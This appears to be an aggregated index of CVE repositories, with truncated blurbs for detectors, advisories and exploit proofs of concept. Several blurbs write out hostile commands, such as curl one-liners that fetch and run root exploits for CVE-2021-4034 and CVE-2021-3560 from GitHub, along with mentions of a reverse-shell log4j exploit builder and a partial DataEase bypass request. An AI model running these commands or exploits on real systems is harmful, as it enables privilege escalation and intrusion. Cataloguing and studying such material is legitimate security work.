CVE-2021-42392-Detect

CVE-2021-42392-Detect À propos Le script détecte les serveurs H2 vulnérables pour la liste d'IP donnée, il peut identifier les pages web de la console H2 et vérifier les restrictions d'accès. Utilisation Créez un fichier contenant la liste des IP et nommez le fichier IP.txt, placez 'IP.txt' et...

CVE-2026-107337

The Malcolm kiosk Flask application is vulnerable to a Cross-Site Request Forgery (CSRF) attack due to an unauthenticated POST /script_call/[removed] endpoint paired with a wildcard CORS(app) configuration. An attacker can trick an operator's browser into executing unauthorized management command...

CVE-2026-107337 Cross-Site Request Forgery in Malcolm

The Malcolm kiosk Flask application exposes a POST /scriptcall/ endpoint with zero authentication and wildcard CORS CORSapp. An attacker can force the operator's browser to execute arbitrary management commands via CSRF, including control.py --wipe which permanently deletes all captured network...

EUVD-2026-95120

The Malcolm kiosk Flask application exposes a POST /scriptcall/ endpoint with zero authentication and wildcard CORS CORSapp. An attacker can force the operator's browser to execute arbitrary management commands via CSRF, including control.py --wipe which permanently deletes all captured network...

CVE-2024-49113-Checker

CVE-2024-49113-Checker Script to test whether your environment is potentially vulnerable to CVE-2024-49113 LDAP Nightmare. This script performs: RPC connectivity checks LDAP port tests Netlogon service validation LDAP callback verification usage : python CVE-2024-49113-checker.py Example Scan a...

log4j-exploit-builder

log4j-exploit-builder Script to create a log4j CVE-2021-44228 exploit with support for different methods of getting a reverse shell NOTE: The code was speedrunned and will improve in the future...

CVE-2021-4034

CVE-2021-4034 CVE-2021-4034 en script Bash Utilisation : source curl -s https://raw.githubusercontent.com/azminawwar/CVE-2021-4034/main/exploit.sh...

CVE-2026-33331

CVE-2026-33331 — XSS stocké dans le plugin OpenAPI Reference d'oRPC Laboratoire de preuve de concept pour le XSS stocké dans la génération de documentation OpenAPI d'orpc Objectif oRPC construit les pages de documentation API à partir d'une spécification OpenAPI. Avant la v1.13.9, il injectait...

CVE-2026-10289-XSS

Système de réservation hôtelière et touristique - Cross-Site Scripting XSS stocké Détails de la vulnérabilité Champ| Détails ---|--- Titre| Système de réservation hôtelière et touristique - Cross-Site Scripting XSS stocké ID CVE| Attribution en attente Vendeur| code-projects.org URL du vendeur|...

CVE-2026-21440-POC-EXP

Complete CVE-2026-21440 Vulnerability Information 📁 Brief steps for using the CVE-2026-21440 PoC script 1. Install dependencies python -m pip install --upgrade pip 2. Run the test python CVE-2026-21440-code.py -h 3. 6 built-in preset sensitive paths -s for direct invocation, no need to type long...

CVE-2021-4034

usage: sh poc.sh...

CVE-2021-4034

CVE-2021-4034 BASH file, no download capabilties? Copy and paste it!...

CVE-2021-3560

CVE-2021-3560 Polkit Instant Root Exploit You can run one command to root with Polkit CVE-2021-3560 vulnerable boxes by typing in: sh -c "$curl -sSL https://raw.githubusercontent.com/n3onhacks/CVE-2021-3560/main/polkit.sh" Or you can download the .sh or copy and paste it. Run and Instant Root. Us...

CVE-2025-49844_POC

CVE-2025-49844POC CVE-2025-49844 POC -h View help information ··· Redis has a Redis Lua script remote code execution vulnerability CVE-2025-49844. The root cause of this vulnerability is a design flaw in the interaction between Redis's Lua script engine and its memory management logic. ··· ···...

Ubuntu-CVE-2026-3888-patcher

🛡️ CVE-2026-3888 Remediation Script Many Hat Group Security Advisory Tool Overview This script has been developed by Many Hat Group to quickly identify and remediate systems affected by CVE-2026-3888 on Ubuntu environments. It is designed for use across managed fleets, providing: Automated...

DataEase_Postgresql_JDBC_Bypass-CVE-2025-49002

fofa syntax: title="DataEase" poc: "POST /de2api/datasource/validate HTTP/1.1 Host: your-ip Accept-Encoding: gzip, deflate, br, zstd sec-ch-ua: ""Google Chrome"";v=""135"", ""Not-A.Brand"";v=""8"", ""Chromium"";v=""135"" User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64 AppleWebKit/537.36 KHTML...

Kintol_Shell_Upload

KintolShellUpload python 2.7...

CVE-2023-51764

CVE-2023-51764 CVE-2023-51764 poc Link: https://github.com/duy-31/CVE-2023-51764 1. Add SMTP authentication 2. The script has only been tested on Kali 3. Please do not use the script for illegal purposes...

http-oracle-ebs-cve-2025-61882.nse

http-oracle-ebs-cve-2025-61882.nse Detects Oracle E-Business Suite CVE-2025-61882. Detection: multi-tier checks — fingerprinting, version checks, endpoint & SSRF tests, timing analysis & controlled exploitation 4 high-confidence results. Default = safe fingerprinting only. Set aggressive=true 2...

copy-fail-CVE-2026-31431

Usage Compile statically to be able to use in any Linux environment with no need of Python or aditional libraries. gcc -o exploit exploit.c -lz -static ./exploit Or run the python script python3 exploit.py...